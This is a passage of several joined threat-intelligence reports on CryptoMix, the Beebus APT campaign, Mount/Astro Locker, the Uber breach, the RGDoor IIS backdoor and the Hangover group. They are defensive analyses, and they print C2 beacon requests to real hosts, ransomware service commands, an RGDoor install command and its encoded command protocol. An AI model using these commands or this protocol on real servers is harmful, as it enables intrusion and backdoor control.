unnecessarily slow random number generator. So yes, in a way, RSA is “used for encryption,” but files are not encrypted with RSA, and encryption is entirely symmetric. The UserID given by CryptoMix is not random – it is generated from the username and serial number for the first disk. This doesn’t seem like a good idea because UserIDs absolutely have to be unique, and neither username nor volume serial number is designed to be unique – so UserID collisions are possible and very plausible (after taking the low entropy of UserID and birthday paradox into account). Why is this a problem? Because when a UserID collision happens, malware creators have no way of distinguishing two users apart – so they don’t know which encryption key belongs to which user and can’t send the right one. It’s also possible that in case of collision, the old key will be overwritten in the database and lost. Finally, CryptoMix achieves persistence by copying itself to user documents and writing to the `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run` registry key. As a final measure, all shadow copies are removed (if the user doesn’t have an admin account, a UAC window is shown before). ## CryptoMix Decryptor Due to a cryptographic flaw in encryption, we are able to decrypt CryptoMix (and CryptFile2), but only sometimes and only if files were encrypted with a vulnerable version. If your files were encrypted by CryptoMix and you don’t want to pay a ransom, you can contact us at [email protected] and we’ll see what we can do. Please attach a single encrypted file without changing its filename after encryption (for example, `warnings.h.email[[email protected]]id[7e5973f5e0ce337d].lesli`). ## Hashes/Patterns Cryptomix packer (old and new): - Cryptomix payload (after unpacking): - hashes: - c2f30cd537c79b6bcd292e6824ea874e sample0 - befc0e43b38fe467ddc3ddd73150a9fc sample0 decrypted - 8c413e31f39a54abf78c3585444051f7 sample1 - 0d1206246bf15c521474cee42f13fc09 sample1 decrypted - b778bda5b97228c6e362c9c4ae004a19 sample2 - 042a38a32cd20e3e190bb15b085b430a sample2 decrypted
# OPERATION BEEBUS February 01, 2013 | by Vinay Pidathala, Zheng Bu, Thoufiq Haq, Darien Kindlund | Targeted Attack FireEye discovered an APT campaign consistently targeting companies in the aerospace and defense industries. The campaign has been in effect for some time now. ## Infection Vector We have seen this campaign use both email and drive-by downloads as a means of infecting end users. The threat actor has consistently used attachment names of documents/white papers released by well-known companies. The malicious email attachment exploits some common vulnerabilities in PDF and DOC files. - PDF: CVE-2011-0611 - DOC: CVE-2012-0158 - PDF: CVE-2009-0927 - DOC: CVE-2010-3333 - PDF: CVE-2012-0754 The malware uses a well-documented vulnerability in the Windows OS known as DLL search order hijacking. There is an order in which executables load DLLs on the Windows operating system. This particular malware takes advantage of this vulnerability and drops a DLL called ntshrui.DLL in the C:\Windows directory. The first place from where the executable looks to load the DLL is its own directory. By dropping the ntshrui.DLL in the directory C:\Windows, the malware achieves persistence. Figures 1 and 2 below show the modified weaponized PDF, which was used in the spear phishing attack. The PDF on the left is the non-malicious version, while the one on the right is malicious. As you can see from the pictures below, the original PDF was modified using the Ghostscript tool. Also, the size of the malicious PDF is significantly smaller than the non-malicious version. ## Command and Control The malware communicates with a remote command and control (CnC) server. The GET request in Figure 4 is the initial request that the compromised machine makes to "check in" with the CnC server. The keyword "p=2," which is sent out as part of the URI, appears to indicate the version of the malware. Mining our database, we found three versions of this malware and they are noted in the table below. The version value is hard-coded in the ntshrui.DLL file in the samples we observed. It encrypts information it collects with the base64 algorithm and then sends it to the remote CnC server. It is interesting to note that the base64 data is subjected to some substitutions before it is sent out, preventing run-of-the-mill inspection on the wire. It replaces the ‘/’ (forward slash) and ‘+’ (plus) characters which are part of the base64 character set with ‘_’ (underscore) and ‘-‘ (hyphen) respectively. The code that performs this operation is shown in Figure 5. A sample of the data that is encrypted and sent to the CnC server for version ‘p=2’ is seen in the memory dump shown in Figure 6. At offset 4-7 it contains a time-based counter. It uses the keyword "osamu" in this instance to identify this particular campaign. The campaign keywords are not sent out in version ‘p=1’ but can still be found hardcoded in the DLL payload. The hostname and OS information are also included in the beacon. It awaits further commands from the CnC server in response to the data sent out. It has modules to capture system information (processor, disk, memory, OS), process id, process start time, and current user information. It also contains a module to download and execute additional payloads and updates. It downloads into the %TEMP% directory and calls CreateProcessA to invoke execution. The POST request looks very similar to the GET request and uses base64 encoding to encode the URI. The malware collects the following information from the compromised machine: 1. Type of Processor 2. CPU Speed 3. Figures out the product type by querying the \SYSTEM\CurrentControlSet\Control\ProductOptions\ProductType registry key. 4. Memory Usage The malware is fairly noisy sending multiple GET requests. In our test environment, we observed that the POST request started a couple of hours after the malware initially checked in with the CnC. Around the same time, we also noticed a new exe get dropped under "C:\Documents And Settings\Administrator\Local Setting\Temp~ISUN32.exe". The two figures below show the ISUN32.exe process start up and the exe get dropped under TEMP directory. We have a full list which summarizes the attachment names, campaign codes, and campaign duration of this particular operation. The table also includes the md5sum of the malware payloads. Below is a subset of attachment names that we have observed. We are willing to share additional information with the security community. Please contact research at fireeye dot com for more information. - sensor environments.doc - Global_A&D_outlook_2012.pdf - FY2013_Budget_Request.doc - Understand your blood test report.pdf - RHT_SalaryGuide_2012.pdf - Security Predictions for 2012 and 2013.pdf - April Is the Cruelest Month.pdf - National Human Rights Action Plan of China (2012-2015).pdf - Dept of Defense FY12 A STTR Solicitation Topics of Interest to Boeing.pdf - Boeing_Current_Market_Outlook_2011_to_2030.pdf - RHT_SalaryGuide_2012.pdf - dodd-frank-conflict-minerals.doc - Conflict-Minerals-Overview-for-KPMG.doc - сообщить.doc ## Timeline of the Beebus Campaign From the timeline below, we were able to figure out that this campaign has been targeting companies in the Aerospace and Defense vertical in waves. There is no specific pattern to this attack; we have seen days on which multiple weaponized emails were sent to several companies, and on other days we observed that the threat actor sent only one email to a specific target organization. The chart below shows Beebus attacks in the last year. ## ORIGIN/THREAT ACTOR ATTRIBUTION The term "Beebus" was coined from an initial sample in this campaign (MD5: 7ed557921ac60dfcb295ebabfd972301), which was originally submitted to VirusTotal on April 12, 2011. After this executable compromises the endpoint, this sample then generated command and control traffic to: GET /s/asp?XAAAAM4w5jmOS_kMZlr67o8jettxsYA8dZgeNAHes-Nn5p-6AFUD6yncpz5AL6wAAA==p=1 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible;) Accept: */* Host: bee.businessconsults.net As early as March 2011, Joe Stewart at Dell SecureWorks reported that various subdomains off the primary domain of "businessconsults.net" have acted as command and control nodes for the well-known "HUC Packet Transmit Tool" (aka "HTran"), which is a lightweight TCP proxy tool used by the nation-state threat actor that breached RSA around that time, labeled by McAfee as "Operation Shady RAT." According to McAfee, one of the major tools, techniques, and procedures (TTPs) used by this threat actor was their use of obfuscated or encrypted HTML comments embedded in otherwise benign websites, in order to indirectly control compromised endpoints. As such, this TTP of obfuscated/encrypted HTML comments has been also widely reported in the media as associated with the nation-state group called "Comment Group" or "Comment Team," which is believed to be associated with the Chinese government. Bloomberg reports that various US intelligence sources have labeled this activity as "Byzantine Candor," accordingly. Based upon these correlations, we believe Beebus to be yet another TTP associated with threat actors based in China. Another related sample (MD5: d7ec457be3fad8057580e07cae74becb) was originally submitted to VirusTotal on Sept. 23, 2011 and generates the following "Beebus" traffic pattern: GET /s/asp?XAAAAM4w5jmIa_kMZlr67o8jettxsYA8dZgeNAHes-Nn5p-6AFUD6yncpz5AL6wAAA==p=1 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible;) Accept: */* Host: 68.96.31.136 Similarly, the IP address (68.96.31.136) was another C2 node reported by Dell SecureWorks as hosting the HTran proxy infrastructure. This post was written by FireEye researchers Darien Kindlund, Vinay Pidathala, and Thoufiq Haq.
# Sophos MTR in Real Time: What is Astro Locker Team? A recent incident with a new Sophos Managed Threat Response (MTR) customer has raised questions about the Mount Locker ransomware group and the relationship it has with Astro Locker Team. A ransomware detection for Mount Locker kicked the MTR team into gear and what they found was surprising. The first detection made it clear what the team was dealing with: `rundll32 executing locker_64.dll` – Mount Locker ransomware. MTR moved quickly to stop the attack on unsecured devices and ensure the ransomware group was banished from the organization’s network. Throughout the incident, all evidence – from the tactics, techniques, and procedures (TTPs) used, to the files involved, and even the ransom note left behind – pointed to this being the work of the Mount Locker group. However, something odd happened when the investigators followed the link included in the ransom note. Upon following the TOR link, MTR investigators were presented with a chat directly with the “support” team for the ransomware who introduced themselves as the “AstroLocker Team” and also the “Astro Locker Team.” Following up on this new lead, an MTR expert found the Astro Locker leak site and, while there was no listing there for the impacted organization of this case, other interesting links surfaced. When comparing the Astro Locker leak site to the Mount Locker leak site, investigators noted that all five of the organizations listed on the Astro Locker site were also listed as victims on the Mount Locker site. Digging in further, the size of the data leaks on all five matched and shared some of the same links to the leaked data. Looking at the matching links more closely, Sophos experts noticed one last connection: some of the leaked data linked on the Mount Locker site was being hosted on the Astro Locker onion site: `http[:]//anewset****.onion`. While it is unclear what the relationship is between Mount Locker and Astro Locker, defenders should consider both when dealing with a ransomware attack. “In recent incidents where Sophos experts investigated and neutralized an active Mount Locker attack, we noticed various techniques that suggest these attackers are not as sophisticated as other ransomware groups like Ryuk, REvil, and DoppelPaymer,” Peter Mackenzie, manager of Sophos’ Rapid Response team said. “It is possible that the Mount Locker group wants to rebrand themselves to create a new and more professional image, or it could be an attempt to kickstart a true ransomware-as-a-service program. Regardless, if any organizations become a victim of ‘Astro Locker’ in the future, they should investigate the TTPs of both Mount Locker and Astro Locker.” ## Ransomware relationships and branding It is known that Ragnar Locker is affiliated with Mount Locker in some way but doesn’t appear to be part of the Mount Locker ransomware-as-a-service (RaaS). Although Ragnar is the more skilled ransomware group and the two groups don’t overlap in TTPs or malware, Mackenzie said it was possible there were “back end” services being shared, including access to target networks. The connection between Mount Locker and Astro Locker is clearer insofar as they both use Mount Locker ransomware, the same ransom note, and share some TTPs, such as using services to execute commands and batch scripts. Creating scheduled tasks called ‘updater’ and ‘regsvr32’ as well as hiding some of their files in the same location: `C:\Users\\Music\`. ### Astro Locker: - **Service Name:** PrpOJqmErkoJtAAg – random 16-character string - **Service File Name:** `%COMSPEC% /C echo whoami ^> %SYSTEMDRIVE%\\WINDOWS\\Temp\\FaUocMGJjmCAbJMr.txt > \\WINDOWS\\Temp\\uxvbnnSkrkOMnsJg.bat & %COMSPEC% /C start %COMSPEC% /C` - **Scheduled Task Name:** updater - **Action:** `regsvr32.exe /i C:\Program Files\Google\Drive\wininit64.dll` ### Mount Locker: - **Service Name:** xGGXJTFBQlzNTVTT - **Service File Name:** `%COMSPEC% /C echo whoami ^> ZSYSTEMDRIVE%\WINDOWS\Temp\pkLneFsUyHywlUwZ.txt > \WINDOWS\Temp\sloKuaTCIYlTTPwM.bat & %COMSPEC% /C start %COMSPEC% /C \WINDOWS\Temp\sloKuaTCIYlTTPwM.bat` - **Scheduled Task Name:** updater - **Action:** `C:\Users\\AppData\Local\Google\Chrome\User Data\FileTypePolicies\archs64.dll` “A few outside sources that have noticed the connection between Mount Locker and Astro Locker and suggested it may be a close affiliate relationship. Mount Locker has been reported to be running RaaS, but it has never been clear how many affiliates were in the program,” said Mackenzie. “Astro Locker, as a significant branded group to be part of a Mount Locker RaaS, could imply Mount Locker is attempting to speed up a transition to becoming a RaaS, or it could even be that the Mount Locker group is using the Astro name to pretend they have a big new affiliate. “Branding is a powerful force for ransomware groups,” Mackenzie added. “Good branding can come from a single threat group being skilled at hitting high value targets and avoiding detection – such as DoppelPaymer – or by running a successful RaaS network – like Sodinokibi or Egregor. Powerful branding with ransomware groups can strike fear in targets and lead to a higher likelihood of payouts. “Mount Locker has proven itself as a less sophisticated ransomware group, so a pivot to an affiliate program might be a way to create a new brand and move up the hierarchy of threat groups.” ## IOCs Mount Locker/Astro Locker ransomware, on its own, is unable to bypass the CryptoGuard feature of Sophos Intercept X; Our endpoint products may detect components under one or more of the following definitions: Troj/Ransom-GFR and Malware/Generic-S. Network protection products like the Sophos XG firewall can also block the malicious C2 addresses to prevent the malware from retrieving its payloads and completing the infection process. IoCs relating to these threats can be found on the SophosLabs Github. Special thanks to John Carlo Adriano, Colin Cowie, Blake Bowdoin, Jordon Carpenter, and Peter Mackenzie for their efforts in detecting, investigating, and responding to these threats.
# Uber Hacked: Internal Systems Breached and Vulnerability Reports Stolen By Lawrence Abrams September 16, 2022 Uber suffered a cyberattack Thursday afternoon with an allegedly 18-year-old hacker downloading HackerOne vulnerability reports and sharing screenshots of the company's internal systems, email dashboard, and Slack server. The screenshots shared by the hacker show what appears to be full access to many critical Uber IT systems, including the company's security software and Windows domain. Other systems accessed by the hacker include the company's Amazon Web Services console, VMware vSphere/ESXi virtual machines, and the Google Workspace admin dashboard for managing the Uber email accounts. The threat actor also breached the Uber Slack server, which he used to post messages to employees stating that the company was hacked. However, screenshots from Uber's Slack indicate that these announcements were first met with memes and jokes as employees had not realized an actual cyberattack was taking place. Uber has since confirmed the attack, tweeting that they are in touch with law enforcement and will post additional information as it becomes available. "We are currently responding to a cybersecurity incident. We are in touch with law enforcement and will post additional updates here as they become available," tweeted the Uber Communications account. The New York Times, which first reported on the breach, said they spoke to the threat actor, who said they breached Uber after performing a social engineering attack on an employee and stealing their password. The threat actor then gained access to the company's internal systems using the stolen credentials. On Friday afternoon, Uber posted an additional update stating that the investigation is still ongoing but could share these additional details: - We have no evidence that the incident involved access to sensitive user data (like trip history). - All of our services including Uber, Uber Eats, Uber Freight, and the Uber Driver app are operational. - As we shared yesterday, we have notified law enforcement. - Internal software tools that we took down as a precaution yesterday are coming back online this morning. ## More Details Emerge After the attacker announced that they breached Uber's systems on the company's Slack server and in comments to submissions on the HackerOne bug bounty program, security researchers reached out to the threat actor to learn more about the attack. In a conversation between the threat actor and security researcher Corben Leo, the hacker said they were able to gain access to Uber's Intranet after conducting a social engineering attack on an employee. According to the threat actor, they attempted to log in as an Uber employee but did not provide details on how they gained access to the credentials. As the Uber account was protected with multi-factor authentication, the attacker allegedly used an MFA Fatigue attack and pretended to be Uber IT support to convince the employee to accept the MFA request. MFA Fatigue attacks are when a threat actor has access to corporate login credentials but is blocked from access to the account by multi-factor authentication. They then issue repeated MFA requests to the target until the victims become tired of seeing them and finally accept the notification. This social engineering tactic has become very popular in recent attacks against well-known companies, including Twitter, MailChimp, Robinhood, and Okta. After gaining access to the credentials, the threat actor told Leo that they logged into the internal network through the corporate VPN and began scanning the company's Intranet for sensitive information. As part of these scans, the hacker says they found a PowerShell script containing admin credentials for the company's Thycotic privileged access management (PAM) platform, which was used to access the login secrets for the company's other internal services. The New York Times reports that the attacker claimed to have accessed Uber databases and source code as part of the attack. To be clear, this information is from the threat actors and has not been verified by Uber, which has not responded to requests for more information. ## HackerOne Vulnerability Reports Exposed While it's possible that the threat actor stole data and source code from Uber during this attack, they also had access to what could be an even more valuable asset. According to Yuga Labs security engineer Sam Curry, the hacker also had access to the company's HackerOne bug bounty program, where they commented on all of the company's bug bounty tickets. Curry told BleepingComputer that he first learned of the breach after the attacker left a comment on a vulnerability report he submitted to Uber two years ago. Uber runs a HackerOne bug bounty program that allows security researchers to privately disclose vulnerabilities in their systems and apps in exchange for a monetary bug bounty reward. These vulnerability reports are meant to be kept confidential until a fix can be released to prevent attackers from exploiting them in attacks. Curry further shared that an Uber employee said the threat actor had access to all of the company's private vulnerability submissions on HackerOne. BleepingComputer was also told by a source that the attacker downloaded all vulnerability reports before they lost access to Uber's bug bounty program. This likely includes vulnerability reports that have not been fixed, presenting a severe security risk to Uber. HackerOne has since disabled the Uber bug bounty program, cutting off access to the disclosed vulnerabilities. However, it would not be surprising if the threat actor had already downloaded the vulnerability reports and would likely sell them to other threat actors to cash out on the attack quickly. **Update 9/16/22:** Added more details provided by the hacker about how the attack took place. Added statement from Uber.
# OilRig uses RGDoor IIS Backdoor on Targets in the Middle East By Robert Falcone January 25, 2018 at 5:00 AM Category: Unit 42 Tags: Middle East, OilRig, RGDoor, TwoFace ## Summary While investigating files uploaded to a TwoFace webshell, Unit 42 discovered actors installing an Internet Information Services (IIS) backdoor that we call RGDoor. Our data suggests that actors have deployed the RGDoor backdoor on webservers belonging to eight Middle Eastern government organizations, as well as one financial and one educational institution. We believe the actors deploy RGDoor as a secondary backdoor to regain access to a compromised webserver in the event a victim organization detects and removes the TwoFace shell. We do not have HTTP logs that show the actor interacting with RGDoor, so we do not know the activities the actors carry out using the backdoor. However, we were able to create a client application to interact with RGDoor for testing purposes, which allowed us to see how it operates on an IIS server. ## RGDoor Unlike TwoFace, the actors did not develop RGDoor in C# to be interacted with at specific URLs hosted by the targeted IIS web server. Instead, the developer created RGDoor using C++, resulting in a compiled dynamic link library (DLL). The DLL has an exported function named “RegisterModule,” which is important as it led us to believe that this DLL was used as a custom native-code HTTP module that the threat actor would load into IIS. Starting with IIS 7, developers could create modules in C++ that the IIS webserver would load to extend IIS’ capabilities, such as carrying out custom actions on requests. The fact that RGDoor is an IIS HTTP module suggests that there is no visual representation of the shell for actors to interact with, which also differs from TwoFace’s interface that actors can interact with by visiting the URL to the TwoFace ASPX file. According to Microsoft’s documentation, native-code modules can be installed either in the IIS Manager GUI or via the command line using the “appcmd” application. While we do not have logs to determine exactly how the actors install RGDoor, the actor can use the TwoFace webshell to install the RGDoor module via the command line. The following command could be used to install the HTTP module on an IIS server: ``` %systemroot%\system32\inetsrv\APPCMD.EXE install module /name:[module name] /image:[path to RGDoor DLL] /add:true ``` We confirmed the command above successfully installed the RGDoor backdoor in our test environment. We confirmed RGDoor installed correctly into IIS by checking the HTTP Modules display in IIS Manager. ## Listening for Commands We analyzed RGDoor samples and found that the “RegisterModule” function does very little other than calling the IHttpModuleRegistrationInfo::SetRequestNotifications method. According to MSDN, the SetRequestNotifications function allows a developer to configure the module to handle GET requests and/or POST requests: ``` SetRequestNotifications( IN IHttpModuleFactory * pModuleFactory, IN DWORD dwRequestNotifications, IN DWORD dwPostRequestNotifications ) ``` In RGDoor, the code calls this function with arguments that ignore inbound HTTP GET requests but act on all HTTP POST requests seen by the IIS server, even POST requests issued over HTTPS. RGDoor calls this function with the following arguments, the third of which (dwPostRequestNotifications) is set to “RQ_BEGIN_REQUEST,” which is an event triggered immediately after IIS receives the POST request: ``` SetRequestNotifications(pModuleFactory,0,RQ_BEGIN_REQUEST) ``` RGDoor is notified immediately when the IIS server receives an inbound HTTP POST request. RGDoor parses these POST requests, specifically looking for the HTTP “Cookie” field by accessing the HTTP header with the following function call: ``` pHttpContext->GetRequest()->GetHeader(“Cookie”,NULL) ``` After accessing the cookie field, RGDoor parses this field by looking for the string “RGSESSIONID=,” which is the basis for the name RGDoor. If present, the code uses the two bytes immediately following the “RGSESSIONID=” string as a decryption key, specifically treating the two character bytes as a single hexadecimal byte. For instance, the two-byte key of “00” would represent the hexadecimal value of 0x00, where “FF” would represent 0xFF, and so on. The key is followed by a Base64 encoded string that contains ciphertext. The following represents the structure of the cookie field in inbound RGDoor requests: ``` RGSESSIONID=[two-bytes for key][Base64 encoded ciphertext] ``` RGDoor decodes the Base64 encoded string and then decrypts the decoded string using a custom algorithm. The custom algorithm iterates through the ciphertext using the ‘pxor’ instruction to XOR each byte of ciphertext with the single-byte hexadecimal value from the two-byte character key provided in the cookie field. The code will parse the cleartext looking for one of three commands: “cmd$,” “upload$,” and “download$.” The code treats the string immediately following the command as the command’s argument. | Command | Description | |--------------------------|-----------------------------------------------| | cmd$[command to execute] | Uses “popen” to run the specified command. It enters a loop that calls “fgets” to get the command results. The loop finishes when a call to “feof” designates the end of the command results, which are relayed back to the actor via the HTTP response. | | upload$[path to file] | Gets the length of uploaded data by checking the “Content-Length” field within the HTTP request. Uses the IHttpRequest::GetRemainingEntityBytes and IHttpRequest::ReadEntityBody methods to obtain base64 encoded data within the body of the HTTP POST request. The code decrypts the decoded data using the XOR algorithm and writes the data to the specified file. It will respond to this request with either “write done” or “can’t open file:.” | | download$[path to file] | Reads a specified file and encrypts it with the XOR algorithm, Base64 encodes the ciphertext, and sends the data back to the actor via the HTTP response. | ## Responding to Commands When responding to inbound requests, the code will clear the response that IIS would have responded to the HTTP POST request by calling the following functions: ``` pHttpContext->GetResponse()->Clear() ``` RGDoor then constructs its own HTTP response by first setting the “Content-Type” field within the HTTP header to “text/plain.” The sample then transmits the data back to the actor by creating a loop that calls the IHttpResponse::WriteEntityChunk method until all of the data is sent to the actor within HTTP responses. If the WriteEntityChunk method fails at any point during this loop, the code will respond to the actor with a HTTP 500 “Server Error” response by using the IHttpResponse::SetStatus method. ## Interacting with RGDoor We created a client application to interact with the RGDoor module, specifically to issue commands to the backdoor and to see how it operates on the IIS server. As mentioned previously, RGDoor has three available commands: “cmd$,” “upload$,” and “download$.” We used our client to issue one of each of these commands. The command issued in this request was “cmd$whoami,” which instructs RGDoor to run the ‘whoami’ command in command prompt. The key used to encrypt this command was “54” (0x54), which resulted in a Base64 encoded string of “NzkwcCM8OzU5PQ==.” The HTTP response shows the RGDoor module returned the Base64 encoded string of “PT0ndDUkJCQ7OzgIMDEyNSE4IDUkJCQ7OzheVA==,” which when decrypted using the same “54” key is the result of the ‘whoami’ command, specifically the string “iis apppool⧵⧵defaultapppool⧵n⧵x00.” Figure 5 shows our testing of RGDoor’s upload command, specifically “upload$c:⧵windows⧵temp⧵test.txt” that uploads a file from our local system to the webserver. The inbound request uses a key of “54” (0x54) that results in an encoded command string of “ISQ4OzUwcDduCCM9OjA7IycIIDE5JAggMScgeiAsIA=.” The request also includes the string “IDEnID06M2VmZ14=” within the POST data, which is the string “testing123⧵n” from the file on our local system encrypted using the “54” key that will be written to the “test.txt” file on the server. RGDoor responded to this command with “write done,” which is interesting as the response was in cleartext and not encrypted using the custom algorithm. Figure 6 shows our testing of the download command within RGDoor, specifically a command “download$c:⧵windows⧵temp⧵test.txt” that downloads the file uploaded in our previous test. We chose to use the key “89” (0x89) in this test to showcase RGDoor’s ability to use any hexadecimal byte as a key, which resulted in an encoded command string of “7eb+5+Xm6O2t6rPV/uDn7eb++tX97OT51f3s+v2n/fH9.” RGDoor responds to this command with the encoded string “/ez6/eDn7ri7uoM=,” which when decrypted with the “89” key results in the string ‘testing123⧵n,’ which is the contents of the “test.txt” file. To determine how the RGDoor client requests appear within the IIS request logs, we checked the logs of our default IIS installation in our test environment. By default, IIS does not log the values within Cookie fields of inbound HTTP requests, which would contain commands issued by actors to RGDoor. To see inbound RGDoor requests, an administrator must configure logging of Cookie fields in IIS, which can be selected in the W3C Logging Fields dialog in IIS Manager. The HTTP requests sent by the client to the RGDoor backdoor in the testing above will generate logs on the IIS server. Without the Cookie field logged, it is difficult to locate and analyze inbound requests related to RGDoor. Remember that RGDoor is an IIS module that checks all inbound POST requests for commands, so an actor does not need to use one particular URL to interact with RGDoor. However, the following shows the IIS log generated from the first testing request we made using our RGDoor client, which shows the “RGSESSIONID=” string, the “54” key, and the Base64 encoded command within the Cookie field: ``` #Software: Microsoft Internet Information Services 7.5 #Version: 1.0 #Date: 2017-10-03 19:30:13 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Cookie) sc-status sc-substatus sc-win32-status time-taken 2017-10-03 19:30:13 192.168.45.5 POST / - 80 - 192.168.45.1 python-requests/2.13.0 RGSESSIONID=54NzkwcCM8OzU5PQ== 200 0 0 28 ``` ## Conclusion RGDoor is an IIS backdoor that actors used the TwoFace webshell to load onto an IIS web server. The RGDoor provides backdoor access to the compromised server, which we speculate the actors loaded in order to regain access to the server in the event the TwoFace webshell was removed. This backdoor has a rather limited set of commands; however, the three commands provide plenty of functionality for a competent backdoor, as they allow an actor to upload and download files to the server, as well as run commands via command prompt. The use of RGDoor suggests that this group has contingency plans to regain access to a compromised network in the event their webshells are discovered and remediated. Palo Alto Networks customers are protected from RGDoor by the following: - All RGDoor samples have malicious verdicts in WildFire. - AutoFocus customers can investigate this activity with the RGDoor tag. - IPS Signature RGDoor.Gen Command and Control Traffic (ID 11885) detects RGDoor network traffic. ## Indicators of Compromise **RGDoor SHA256** - 497e6965120a7ca6644da9b8291c65901e78d302139d221fcf0a3ec6c5cf9de3 - a9c92b29ee05c1522715c7a2f9c543740b60e36373cb47b5620b1f3d8ad96bfa **RGDoor Filenames** - HTTPParser.dll - TraffcHandler.dll - iishandler6.dll
# Threat Assessment: Hangover Threat Group **By Doel Santos and Alex Hinchliffe** **June 3, 2020** **Category:** Unit 42 **Tags:** BackConfig, Hangover Group, Targeted Attacks, threat assessment ## Executive Summary Unit 42 researchers recently published on activity by the Hangover threat group (aka Neon, Viceroy Tiger, MONSOON) carrying out targeted cyberattacks deploying BackConfig malware against government and military organizations in South Asia. As a result, we’ve created this threat assessment report for the Hangover Group’s activities. The techniques and campaigns can be visualized using the Unit 42 Playbook Viewer. The Hangover Group is a cyberespionage group that was first observed in December 2013 carrying out a cyberattack against a telecom corporation in Norway. Cybersecurity firm Norman reported that the cyberattacks were emerging from India, and the group sought and carried on attacks against targets of national interest, such as Pakistan and China. However, there have been indicators of Hangover activity in the U.S. and Europe, mainly focusing on government, military, and civilian organizations. The Hangover Group's initial vector of compromise is to carry out spear-phishing campaigns. The group uses local and topical news lures from the South Asia region to make their victims more prone to falling into their social engineering techniques, making them download and execute a weaponized Microsoft Office document. After the user executes the weaponized document, backdoor communication is established between BackConfig and the threat actors, allowing attackers to carry on espionage activity, potentially exfiltrating sensitive data from compromised systems. Palo Alto Networks Threat Prevention platform with WildFire, DNS Security, and Cortex XDR detects activity associated with this threat group. Customers can also review activity associated with this Threat Assessment using AutoFocus with the following tags: Hangover and BackConfig. ## Impact Assessment Several adversarial techniques were observed in this activity, and the following measures are suggested within Palo Alto Networks’ products and services to ensure mitigation of threats related to the Hangover Group, as well as other groups using the same techniques: | Tactic | Technique | Product / Service | Course of Action | |------------------------------|---------------------|---------------------------|-----------------------------------------------------------------------------------------------------| | Initial Access | Spearphishing Link (T1192) | NGFW | Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone. Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist. Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources exists. | | Threat Prevention† | Antivirus profiles | | Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3'. Ensure a secure antivirus profile is applied to all relevant security policies. Ensure that User Credential Submission uses the action of 'block' or 'continue' on the URL categories. | | DNS Security | Enable DNS Security in Anti-Spyware profile | | Ensure secure URL filtering is enabled for all security policies allowing traffic to the Internet. | | URL Filtering | Ensure that PAN-DB URL Filtering is used | | Ensure that URL Filtering uses the action of 'block' or 'override' on the <enterprise approved value> URL categories. Ensure that access to every URL is logged. Ensure all HTTP Header Logging options are enabled. | | WildFire | Ensure that WildFire file size upload limits are maximized | | Ensure forwarding of decrypted content to WildFire is enabled. Ensure all WildFire session information settings are enabled. Ensure alerts are enabled for malicious files detected by WildFire. Ensure 'WildFire Update Schedule' is set to download and install updates every minute. | | Execution | Exploitation for Client Execution (T1203) | Threat Prevention† | Ensure a Vulnerability Protection Profile is set to block attacks against critical and high vulnerabilities, and set to default on medium, low, and informational vulnerabilities. Ensure a secure Vulnerability Protection Profile is applied to all security rules allowing traffic. | | Cortex XDR | Enable Anti-Exploit and Anti-Malware Protection | | Ensure that User-ID is only enabled for internal trusted interfaces. Ensure that 'Include/Exclude Networks' is used if User-ID is enabled. Ensure that the User-ID Agent has minimal permissions if User-ID is enabled. Ensure that the User-ID service account does not have interactive logon rights. Ensure remote access capabilities for the User-ID service account are forbidden. Ensure that security policies restrict User-ID Agent traffic from crossing into untrusted zones. | | Defense Evasion | BITS Jobs (T1197) | NGFW | Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone. Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist. Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources exists. | | Code Signing | Cortex XDR | Enable Anti-Exploit and Anti-Malware Protection | | | Hidden Files and Directories | Cortex XDR | Configure Behavioral Threat Protection under the Malware Security Profile | | | Deobfuscate/Decode Files or Information (T1140) | WildFire | Ensure that WildFire file size upload limits are maximized. Ensure forwarding of decrypted content to WildFire is enabled. Ensure all WildFire session information settings are enabled. Ensure alerts are enabled for malicious files detected by WildFire. Ensure 'WildFire Update Schedule' is set to download and install updates every minute. | | Obfuscated Files or Information (T1027) | WildFire | Ensure that WildFire file size upload limits are maximized. Ensure forwarding of decrypted content to WildFire is enabled. Ensure all WildFire session information settings are enabled. Ensure alerts are enabled for malicious files detected by WildFire. Ensure 'WildFire Update Schedule' is set to download and install updates every minute. | | Command and Control | Commonly Used Port (T1043) | NGFW | Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone. Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist. Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources exists. | | Standard Cryptographic Protocol (T1032) | NGFW | Ensure 'SSL Forward Proxy Policy' for traffic destined to the Internet is configured. Ensure 'SSL Inbound Inspection' is required for all untrusted traffic destined for servers using SSL or TLS. Ensure that the Certificate used for Decryption is Trusted. Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone. Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist. Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources exists. | | Threat Prevention† | Antivirus profiles | | Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3'. Ensure a secure antivirus profile is applied to all relevant security policies. Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats. Ensure DNS sinkholing is configured on all anti-spyware profiles in use. Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use. Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the Internet. | | DNS Security | Enable DNS Security in Anti-Spyware profile | | Ensure secure URL filtering is enabled for all security policies allowing traffic to the Internet. | | URL Filtering | Ensure that PAN-DB URL Filtering is used | | Ensure that URL Filtering uses the action of 'block' or 'override' on the <enterprise approved value> URL categories. Ensure that access to every URL is logged. Ensure all HTTP Header Logging options are enabled. | | WildFire | Ensure that WildFire file size upload limits are maximized | | Ensure forwarding of decrypted content to WildFire is enabled. Ensure all WildFire session information settings are enabled. Ensure alerts are enabled for malicious files detected by WildFire. Ensure 'WildFire Update 